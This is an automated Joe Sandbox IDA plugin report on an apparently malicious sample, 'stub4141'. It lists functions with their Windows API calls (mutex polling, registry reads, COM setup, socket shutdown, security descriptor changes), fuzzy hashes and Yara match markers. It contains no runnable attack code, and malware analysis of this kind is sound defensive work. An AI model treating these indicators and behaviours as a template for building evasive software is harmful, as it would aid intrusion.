Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Crypt$ContextHash$AcquireCreateDestroyDirectoryInformationObjectReleaseSingleSystemVolumeWait_memset
String ID: _-@
API String ID: 2962156067-3461852128
Opcode ID: bfe25eaf2240746346372de8bea84040e8d1dd1aa3b0b7853dc8dd7f74235473
Instruction ID: 98d33e3aa0edefb46befe149a810736bb0e13fe1ce21d5107ea936ba6becf75a
Opcode Fuzzy Hash: bfe25eaf2240746346372de8bea84040e8d1dd1aa3b0b7853dc8dd7f74235473
Instruction Fuzzy Hash: C30188B4B503146AE760DB70DC4EFEB7378EB44B00F108699F718E91D2E7B499848B99

Function 004234AC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004234C6

Part of subcall function 00422BFD: __FF_MSGBANNER.LIBCMT ref: 00422C16
Part of subcall function 00422BFD: __NMSG_WRITE.LIBCMT ref: 00422C1D
Part of subcall function 00422BFD: HeapAlloc.KERNEL32(00000000,00000001,?,?,?,?,00403613,?), ref: 00422C42

std::exception::exception.LIBCMT ref: 004234FB
std::exception::exception.LIBCMT ref: 00423515

Strings

bad allocation, xrefs: 004234F4

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: std::exception::exception$AllocHeap_malloc
String ID: bad allocation
API String ID: 3619058932-2104205924
Opcode ID: 3520e349c47834b3fba5033dcc78e2c20e4a67762d2675b8d31eec6cf9dccf09
Instruction ID: 65bccbe05b73cd184b4a4ead2ab497dafdd2edb6e6bb3e1268a1911e0cac69a2
Opcode Fuzzy Hash: 3520e349c47834b3fba5033dcc78e2c20e4a67762d2675b8d31eec6cf9dccf09
Instruction Fuzzy Hash: 7EF0D630B041296ACB05FF55FC02A9E7BB9AF40718F90446FF405E6191DBBD9A00C76C

Function 0041220E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_wcscat.LIBCMT ref: 00412252
__snwprintf.LIBCMT ref: 00412294
_wcscat.LIBCMT ref: 004122AA
LocalFree.KERNEL32(00000000), ref: 0041260F

Strings

'%s', xrefs: 00412283

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: _wcscat$FreeLocal__snwprintf
String ID: '%s'
API String ID: 3523142645-2201965518
Opcode ID: 65f1fe784f6aef5ea142dcf22f8e464bd41f8870f033865e5946934de0aefb73
Instruction ID: c95653bc2959727b036ee78f2f8d5722ee525ed1d63c1cf996d7bee654c847c6
Opcode Fuzzy Hash: 65f1fe784f6aef5ea142dcf22f8e464bd41f8870f033865e5946934de0aefb73
Instruction Fuzzy Hash: 77117070A4011CDBCB24DB40D9D9BEDB375EBA4304F1081CAE1196B280C6B8AAC5CF85

Function 00402180 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31registryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0040219F
RegGetValueW.ADVAPI32(80000001,?,{B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5},00000008,00000000,?,?), ref: 004021D0

Strings

SOFTWARE\%s, xrefs: 0040218E
{B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5}, xrefs: 00402189, 004021BF

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Value__snwprintf
String ID: SOFTWARE\%s${B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5}
API String ID: 3635966236-3863139341
Opcode ID: bc50ec1016b9bbe4bc2866c13aaef3eeb5deb4eacddbc46450f7f14dd0437265
Instruction ID: 7323084d40790397df0303a77556268aa874995db02769926cca54dcc8608d19
Opcode Fuzzy Hash: bc50ec1016b9bbe4bc2866c13aaef3eeb5deb4eacddbc46450f7f14dd0437265
Instruction Fuzzy Hash: FCF0AE716447087BD750EA94DC4AFE97368DB44701F5045DA7A08B61C0F9F4AA44CBD9

Function 0040A868 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{BFC89505-7634-423F-83D6-983772D943D2}), ref: 0040A843
CloseHandle.KERNEL32(00000000), ref: 0040A856
Sleep.KERNEL32(00000064), ref: 0040A85E
Sleep.KERNEL32(000003E8), ref: 0040A86F

Strings

{BFC89505-7634-423F-83D6-983772D943D2}, xrefs: 0040A837

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Sleep$CloseHandleMutexOpen
String ID: {BFC89505-7634-423F-83D6-983772D943D2}
API String ID: 2551712853-1297202413
Opcode ID: 9e100af48def8ddc135d1c9a1742579a429057c3a2556efd702940acd8008941
Instruction ID: 68b8e1c1f8b5526da0eb58926fa5ed409027c40ec06f759bbba190f2d3bd340e
Opcode Fuzzy Hash: 9e100af48def8ddc135d1c9a1742579a429057c3a2556efd702940acd8008941
Instruction Fuzzy Hash: 98E0BF31D44304EBE71C6BA2D95976D7671EB04705F24C43AF212751E0CBB85416DF5A

Function 0040A8D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{BFC89505-7634-423F-83D6-983772D943D2}), ref: 0040A8B0
CloseHandle.KERNEL32(00000000), ref: 0040A8C3
Sleep.KERNEL32(00000064), ref: 0040A8CB
Sleep.KERNEL32(000003E8), ref: 0040A8DC

Strings

{BFC89505-7634-423F-83D6-983772D943D2}, xrefs: 0040A8A4

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Sleep$CloseHandleMutexOpen
String ID: {BFC89505-7634-423F-83D6-983772D943D2}
API String ID: 2551712853-1297202413
Opcode ID: 6b95c51bd8f804c0fe76b2008363b8fdc9c06adbc6a1379769619d88de388c27
Instruction ID: b78308ea4b118a8d3f8611079b263a11a78daea360defe0e160b5e7642242127
Opcode Fuzzy Hash: 6b95c51bd8f804c0fe76b2008363b8fdc9c06adbc6a1379769619d88de388c27
Instruction Fuzzy Hash: E0E09231A44318EBEB25AB908E09B5D7671BB04705F288526E202662D0C7B95817EB1A

Function 0040A6B5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{BFC89505-7634-423F-83D6-983772D943D2}), ref: 0040A690
CloseHandle.KERNEL32(00000000), ref: 0040A6A3
Sleep.KERNEL32(00000064), ref: 0040A6AB

Strings

{BFC89505-7634-423F-83D6-983772D943D2}, xrefs: 0040A684

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandleMutexOpenSleep
String ID: {BFC89505-7634-423F-83D6-983772D943D2}
API String ID: 2969294566-1297202413
Opcode ID: fa016e1d66113afe7900b6da380c69696162b14fa7cb8694a1f4cb91d1a65413
Instruction ID: f00eb7e2eea9f7fa8e8a298cfcfd5942985f8a924c7cd3703355066cde7016ee
Opcode Fuzzy Hash: fa016e1d66113afe7900b6da380c69696162b14fa7cb8694a1f4cb91d1a65413
Instruction Fuzzy Hash: 69E04F30614306DFD714ABA0CA0CBAE36709B04305F34092AB142753D0C7BE4A54CBAF

Function 0040A789 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{BFC89505-7634-423F-83D6-983772D943D2}), ref: 0040A764
CloseHandle.KERNEL32(00000000), ref: 0040A777
Sleep.KERNEL32(00000064), ref: 0040A77F
Sleep.KERNEL32(000003E8), ref: 0040A790

Strings

{BFC89505-7634-423F-83D6-983772D943D2}, xrefs: 0040A758

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Sleep$CloseHandleMutexOpen
String ID: {BFC89505-7634-423F-83D6-983772D943D2}
API String ID: 2551712853-1297202413
Opcode ID: 2bbec7a557002e06fbf369223369414b68e737887852c58a112ac3ec42fc355f
Instruction ID: 293f00f5b859d1515e2850e61b261f391518c253f4f4e68c0296c7d6dfceaa81
Opcode Fuzzy Hash: 2bbec7a557002e06fbf369223369414b68e737887852c58a112ac3ec42fc355f
Instruction Fuzzy Hash: 09E04630A40308DBEB085B90C94CB8D3AB1AB08305F389426F602722D0C3B88495CB2F

Function 0041C040 Relevance: 6.3, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00009004), ref: 0041C04D
LocalAlloc.KERNEL32(00000040,?), ref: 0041C067
LocalFree.KERNEL32(00000000), ref: 0041C09B
LocalFree.KERNEL32(00000000), ref: 0041C0B2
LocalFree.KERNEL32(00000000), ref: 0041C0BC

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc
String ID:
API String ID: 3098330729-0
Opcode ID: 8be1787cbd51a3f3859529ef6110ecff5d596bd8c9c0c900fd77c0936506389b
Instruction ID: db375d65a04649a2f20eb6c9d8dc4943eeec90879d91b670f009c388a23fb05c
Opcode Fuzzy Hash: 8be1787cbd51a3f3859529ef6110ecff5d596bd8c9c0c900fd77c0936506389b
Instruction Fuzzy Hash: 30110379900208EFDB14DFE4D989B9D7BB4EB48300F108495FA19A7350D6789A44DF58

Function 020FC2A7 Relevance: 6.3, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00009004), ref: 020FC2B4
LocalAlloc.KERNEL32(00000040,?), ref: 020FC2CE
LocalFree.KERNEL32(00000000), ref: 020FC302
LocalFree.KERNEL32(00000000), ref: 020FC319
LocalFree.KERNEL32(00000000), ref: 020FC323

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc
String ID:
API String ID: 3098330729-0
Opcode ID: 8be1787cbd51a3f3859529ef6110ecff5d596bd8c9c0c900fd77c0936506389b
Instruction ID: 376a921102a6ed0d7adb8d28ad9da66cb3a14f228d9c3bec8e1f028d57bd11a3
Opcode Fuzzy Hash: 8be1787cbd51a3f3859529ef6110ecff5d596bd8c9c0c900fd77c0936506389b
Instruction Fuzzy Hash: D7110CB9D00208FFDB44DFA4D989B9DB7B4EB48304F108495FA19A7290D774AA44DF54

Function 0040CFB0 Relevance: 6.2, APIs: 4, Instructions: 229comCOMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000000), ref: 0040CFE0
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D006
CoCreateInstance.OLE32(004379A8,00000000,00000001,00437798,00000000), ref: 0040D021
CoUninitialize.COMBASE ref: 0040D2DD

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Initialize$CreateInstanceSecurityUninitialize
String ID:
API String ID: 374467530-0
Opcode ID: b5a3490678bef465beacbea809787f313f20ccc32913544890d00dba0daabcaa
Instruction ID: b918ca45853bdb94cb7ceb00029d145332ff2f2f11f7c137b9c42113def9f433
Opcode Fuzzy Hash: b5a3490678bef465beacbea809787f313f20ccc32913544890d00dba0daabcaa
Instruction Fuzzy Hash: 73B1F474E00219DFDB14DF98C981B9DFBB1BF48310F2082AAE509A7391DB746A85CF95

Function 020ED217 Relevance: 6.2, APIs: 4, Instructions: 229comCOMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000000), ref: 020ED247
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 020ED26D
CoCreateInstance.COMBASE(004379A8,00000000,00000001,00437798,00000000), ref: 020ED288
CoUninitialize.COMBASE ref: 020ED544

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Initialize$CreateInstanceSecurityUninitialize
String ID:
API String ID: 374467530-0
Opcode ID: e8ee51e67d8386c7b350260d651b8f6df96d89d7f088d2d5ef79d71733acb02e
Instruction ID: cb8f58c4d34af3348ec6191605b3110cf595a58a7730410e8623754447cb7203
Opcode Fuzzy Hash: e8ee51e67d8386c7b350260d651b8f6df96d89d7f088d2d5ef79d71733acb02e
Instruction Fuzzy Hash: F6B1B2B4A00319DFDB54DF98C980BADFBB1BF48310F208299D919A7391DB70AA85CF55

Function 0042B583 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042B5B7
__isleadbyte_l.LIBCMT ref: 0042B5EA
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,00000000,00000000,?,?,?,?,?,00000000), ref: 0042B61B
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 0042B689

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 3d78f81e5b9cc92b81a7faefaa566418e3d11621beeef387a47e88c0dcef9c10
Instruction ID: 59345991a1ef1b99e706528244d2c242a3aaf26616a66bf40478322030256b66
Opcode Fuzzy Hash: 3d78f81e5b9cc92b81a7faefaa566418e3d11621beeef387a47e88c0dcef9c10
Instruction Fuzzy Hash: E631C031B01266EFDB20DF64E890ABA3BA0FF01314F94856AE4619F291D734DD81DB99

Function 00421150 Relevance: 6.1, APIs: 4, Instructions: 62synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 004211A6
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004211CA
CloseHandle.KERNEL32(00000000), ref: 004211EC
CloseHandle.KERNEL32(00000000), ref: 0042120E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: ae439a75d801c49d0116b3f1ac32a9bbd2368e8fd3f7b4a514b0a4fceda6edf6
Instruction ID: ecbea838b301a0cb6773031f0e9b80e8a5c86becb8c244ed233f36462b622869
Opcode Fuzzy Hash: ae439a75d801c49d0116b3f1ac32a9bbd2368e8fd3f7b4a514b0a4fceda6edf6
Instruction Fuzzy Hash: 2B21D630600404EBDB0CDF58D688BBCBBB5FB6230CF5940AEE106AF6A1C3359995CB18

Function 021013B7 Relevance: 6.1, APIs: 4, Instructions: 62synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0210140D
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02101431
CloseHandle.KERNEL32(00000000), ref: 02101453
CloseHandle.KERNEL32(00000000), ref: 02101475

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: ae439a75d801c49d0116b3f1ac32a9bbd2368e8fd3f7b4a514b0a4fceda6edf6
Instruction ID: f6f5b7c2b69376368c9e8d550dd8a6a70c6bad76780837dc79ed7a44df4beee8
Opcode Fuzzy Hash: ae439a75d801c49d0116b3f1ac32a9bbd2368e8fd3f7b4a514b0a4fceda6edf6
Instruction Fuzzy Hash: AE218B31600404ABDB0CDF68D6D8BBCBBB5FB5230CF1A54A9E10AAF6E1C7759985CB14

Function 0042E9A3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0042E9C9

Part of subcall function 0042E7F5: __fltout2.LIBCMT ref: 0042E820

__cftog_l.LIBCMT ref: 0042E9EF
__cftoe_l.LIBCMT ref: 0042EA21

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 3f6f53263547c68da97631d0d4e6763f74425c1575e6ecb4554f9afc23dd73e6
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 1711957250015EBBCF225E86EC01CEE3F26BB4C394F988416FE1859131D73AC9B1AB85

Function 0041BC00 Relevance: 6.0, APIs: 4, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0041BC37
CloseHandle.KERNEL32(?), ref: 0041BC48
CloseHandle.KERNEL32(?), ref: 0041BC55
LocalFree.KERNEL32(00000000), ref: 0041BC6F

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$FreeLocalObjectSingleWait
String ID:
API String ID: 2545295749-0
Opcode ID: 85bbb810a0c5976f3558be2dc235f9d180ac41c61f4c20763fbec645ee8e2abe
Instruction ID: bfd02591a58eb971c6cf75cfdbbcdbfd0ac376ee8ce349c93d0a3091e89bfcbf
Opcode Fuzzy Hash: 85bbb810a0c5976f3558be2dc235f9d180ac41c61f4c20763fbec645ee8e2abe
Instruction Fuzzy Hash: 28111279A00108EFCB14DF94D584A9DB7B5FF49300F208199EA0557350D775EE85DBD4

Function 004209B3 Relevance: 6.0, APIs: 4, Instructions: 45synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 004209DE
WaitForSingleObject.KERNEL32(?,00000000), ref: 00420A18
WaitForMultipleObjects.KERNEL32(00000006,?,00000000,000000FF), ref: 00420C6E
shutdown.WS2_32(00000000,00000002), ref: 004210AF
closesocket.WS2_32(00000000), ref: 004210C3
CloseHandle.KERNEL32(00000000), ref: 004210F2
shutdown.WS2_32(00000000,00000002), ref: 0042111D
closesocket.WS2_32(00000000), ref: 0042112A
LocalFree.KERNEL32(?), ref: 0042113E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Wait$ObjectSingleclosesocketshutdown$CloseFreeHandleLocalMultipleObjects
String ID:
API String ID: 785092289-0
Opcode ID: 2ce2050057b011bd356088b4b6fba563acfa4d56d76c1ead761027f677060f1f
Instruction ID: 02c850bcd350ccbb8ba71f94383b934ec349a5fbd45861a5406518cb21f0b158
Opcode Fuzzy Hash: 2ce2050057b011bd356088b4b6fba563acfa4d56d76c1ead761027f677060f1f
Instruction Fuzzy Hash: 35213A74604228CFDB24CF48E988BEE73B1BB99305F5044D9D9C656250CBB95DC5CF16

Function 00420CC8 Relevance: 6.0, APIs: 4, Instructions: 45synchronizationnetworkCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 00420996
WaitForSingleObject.KERNEL32(?,00000000), ref: 004209DE
WaitForSingleObject.KERNEL32(?,00000000), ref: 00420CF3
WaitForSingleObject.KERNEL32(?,00000000), ref: 00420D17
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00420D48
shutdown.WS2_32(?,00000002), ref: 00420D71
closesocket.WS2_32(?), ref: 00420D85
CloseHandle.KERNEL32(?), ref: 00420D96
shutdown.WS2_32(00000000,00000002), ref: 004210AF
closesocket.WS2_32(00000000), ref: 004210C3
CloseHandle.KERNEL32(00000000), ref: 004210F2
shutdown.WS2_32(00000000,00000002), ref: 0042111D
closesocket.WS2_32(00000000), ref: 0042112A
LocalFree.KERNEL32(?), ref: 0042113E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: ObjectSingleWait$closesocketshutdown$CloseHandle$EnumEventsFreeLocalNetwork
String ID:
API String ID: 3044467104-0
Opcode ID: ca0244a2df7474df3203c812347d5d5fbc10a8479d41f13a3291bf1f0e0d8513
Instruction ID: e020c1ca4ce5c435f47a631007db64d312fd112cbecfdf82b1e9ccb79325419f
Opcode Fuzzy Hash: ca0244a2df7474df3203c812347d5d5fbc10a8479d41f13a3291bf1f0e0d8513
Instruction Fuzzy Hash: 85211974604228CBCB24CF44E988BEE7771BBA8305F6044E9D9C966290CBB96EC5CF55

Function 020FBA37 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(00437250,00000001,00000000,00000000), ref: 020FBA6D
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 020FBA87
SetNamedSecurityInfoW.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 020FBAA3
LocalFree.KERNEL32(00000000), ref: 020FBAB0

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertFreeInfoLocalNamedSaclString
String ID:
API String ID: 173816248-0
Opcode ID: 696f27ac5dd090d00dad79d26c6087e898f1b1a50712d7cae8b53286979cc00a
Instruction ID: 32933087321ad538ef7ea84ecfa387b5da5da459142ec6b5d0e01835b2fc3028
Opcode Fuzzy Hash: 696f27ac5dd090d00dad79d26c6087e898f1b1a50712d7cae8b53286979cc00a
Instruction Fuzzy Hash: BA011AB1A40309ABEB20DFD0CD89FEFB7B8AB48704F104558F601AA1C0D7B5A604CFA5

Function 020FBAC7 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(00437270,00000001,00000000,00000000), ref: 020FBAFD
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 020FBB17
SetNamedSecurityInfoW.ADVAPI32(00000000,00000006,00000010,00000000,00000000,00000000,00000000), ref: 020FBB33
LocalFree.KERNEL32(00000000), ref: 020FBB40

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertFreeInfoLocalNamedSaclString
String ID:
API String ID: 173816248-0
Opcode ID: d8523aed3ebfb92a26e39ed52fe878dce3587bb5d64ee44f21d98e0dd2a3b9f0
Instruction ID: 429102e744cd9ddb37aef7458bdcb0fadcd5fc497254e1b72a0312a813c56270
Opcode Fuzzy Hash: d8523aed3ebfb92a26e39ed52fe878dce3587bb5d64ee44f21d98e0dd2a3b9f0
Instruction Fuzzy Hash: FE011EB1A40309ABEB10DFD0CD89FEFB7B8AB08704F104558F601AA1C0D7B5A604CFA5

